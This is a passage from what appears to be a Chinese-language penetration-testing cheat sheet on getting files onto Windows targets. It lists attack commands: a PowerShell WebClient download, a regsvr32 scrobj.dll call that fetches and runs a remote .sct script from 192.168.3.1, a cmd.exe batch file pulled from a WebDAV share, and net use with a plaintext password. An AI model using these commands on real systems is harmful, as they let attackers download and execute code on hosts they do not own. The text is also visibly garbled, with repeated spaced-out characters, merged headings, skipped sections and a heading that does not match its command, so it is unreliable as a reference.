Windows
3.1 Powershell
PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从Internet网络下载一个文件。
$p = New-Object System.Net.WebClient
p . D o w n l o a d F i l e ( " h t t p : / / d o m a i n / f i l e " " C : % h o m e p a t h 3.2 I P C p.DownloadFile("http://domain/file" "C:\%homepath%\file") 3.2 IPCp.DownloadFile("http://domain/file""C:%homepath3.2IPC
copy \192.168.3.1\c$\test.exe E:\file
cmd.exe /k < \webdavserver\folder\batchfile.txt
3.3 Certutil
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
3.13 Windows Share
Windows shares可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
net use x: \127.0.0.1\share /user:example.com\userID myPassword
3.14 格式转换
当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件: